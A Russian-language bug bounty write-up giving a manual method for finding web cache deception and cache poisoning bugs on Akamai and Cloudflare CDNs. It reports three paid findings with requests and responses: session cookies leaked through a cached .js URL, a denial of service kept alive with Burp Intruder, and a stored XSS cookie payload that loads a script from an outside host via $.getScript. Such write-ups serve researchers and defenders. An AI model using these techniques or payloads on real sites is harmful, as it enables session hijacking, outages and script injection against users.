Как тестировать веб-кэш на наличие уязвимостей

[Benzema]

​

Мы поделимся «Методологией» поиска проблем с кэшем, а затем покажу несколько недавних реальных находок с соответствующими наградами.

Стоит упомянуть, что я не использую автоматизированные инструменты для поиска этих багов. На самом деле единственным автоматизированным инструментом, который я использую во время общего тестирования, является SQLmap для SQLi.

Методология​

Если в приложении нет функции входа в систему, но используется Akamai CDN, вот мои шаги: ​

• Отправить первый запрос на Repeater

• Проверить, кэширует ли сервер обычные запросы (об этом можно узнать по заголовку ответа «Server-Timing: cdn-cache; desc=HIT»)

• Добавить недопустимый заголовок в запрос

• Если ответ был успешно кэширован, то при открытии URL-адреса в любом браузере вы должны получить ошибку 400 Bad Request.

Если в приложении есть функция входа в систему​

• Заводим аккаунт
• Проверяем, не раскрывается ли какая-нибудь конфиденциальная информация на какой-либо странице (например, токен сессии).

• Отправляем запрос на Repeater
• Добавляем кешируемое расширение (.js, .css) в конце URL-адреса и смотрим, дает ли он ответ 200 OK.

• Открываем измененный URL-адрес, используя свою аутентифицированную учетную запись.

• Открываем тот же URL-адрес с помощью curl или в режиме инкогнито веб-браузера.

• Если токен был успешно кэширован, то мы должны увидеть его в ответе.

Если Приложение использует Cloudflare CDN​

Недопустимые заголовки не будут работать, и сейчас большинство клиентов Cloudflare используют Cache Deception Armor.

Я смог обойти эту защиту, используя файл .avif, который на самом деле являлся файлом с неизвестным расширением. См. тут - №1391635

Тем не менее, есть некоторые сайты, на которых эта защита не активирована, и вы прекрасно можете проверить их на Cache Poisoning/Deception.

Реальные случаи​

Cache Deception для захвата учетной записи → Баунти = 1500 долларов США​

Краткое описание:

Утечка всех cookie (даже HTTPonly) в https://host.com/app/conversation/1.js . Если аутентифицированный пользователь посещает этот URL-адрес, то все его cookie будут сохранены в кеше.

Затем злоумышленник может извлечь cookie и захватить сессию пользователя.

• Примечание:

Иногда, если ответ «404 Not found», Akamai кэширует ответ менее чем на 10 секунд, что усложняет задачу для злоумышленника. В этом случае злоумышленник должен быть быстрым. Однако, если Akamai обнаружит ответ 200 Ok, он будет храниться не менее 24 часов.

• Совет

В некоторых приложениях, если вы добавите точку с запятой (;) перед расширением, это может дать вам ответ 200 Ok.

Например

/xxxx/xxxxxx/;.js

Ответ

HTTP/2 200 ОК

DoS через отравление кеша → Баунти = 1000 долларов​

Краткое содержание:

В Akamai CDN, если мы отправим обратную косую черту \в качестве заголовка, сервер ответит кодом 400 Bad Request

Запрос:

GET /products/xxx/xxxx/xxx/?test HTTP/2
Host: www.host.com
\:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers

Ответ:

HTTP/2 400 Bad Request
Content-Type: text/html;charset=iso-8859-1
Content-Length: 70
Cache-Control: max-age=297
Expires: Thu, 21 Jul 2022 16:17:54 GMTDate: Thu, 21 Jul 2022 16:12:57 GMT
Server-Timing: cdn-cache; desc=HIT
Server-Timing: edge; dur=32
Server-Timing: origin; dur=147
Strict-Transport-Security: max-age=86400
Ak-Uuid: 0.bc85d817.1658419977.1592c61

Это становится проблемой, когда сайт использует кеширующие серверы. Обычно сайты кэшируют только javascript, css и другие файлы, но когда такие сайты, как www.host.com также кэширует нормальные ответы, типа

www.host.com/products/*

www.host.com/*

и так далее, это превращается в серьезный баг.

• Совет

В Akamai ответ 400 находится 5 секунд в кеше. Однако злоумышленник может отправлять null, используя Intruder в Burp, так что один и тот же ответ 400 будет кэшироваться постоянно.

Отравление кэша для сохраненных XSS → Баунти = 1000 долларов США​

Краткое содержание:

Есть XSS через n_vis параметр в cookie.

Поскольку сервер кэширует этот ответ, злоумышленник может сохранить полезную нагрузку для XSS.

Существует строгий фильтр (и WAF), который блокирует большую часть полезной нагрузки, но, поскольку сайт использует Jquery, злоумышленник может использовать функцию $.getScript для эксплуатации.

Запрос

GET /xxxx/xx-xx.otf?triagethiss HTTP/2
Host: www.host.com
Cookie: n_vis=xssx'*$.getScript`//593.xss.ht`//;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-xss,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers

Ответ

<script>
...
Visitor.id='xssx'*$.getScript`//593.xss.ht`//;
....
</script>

• Совет

Проверяйте XSS на любых заголовках запроса, cookie, кастомных заголовках и на заголовках типа X-Forwared-*
На этом все. Спасибо за просмотр!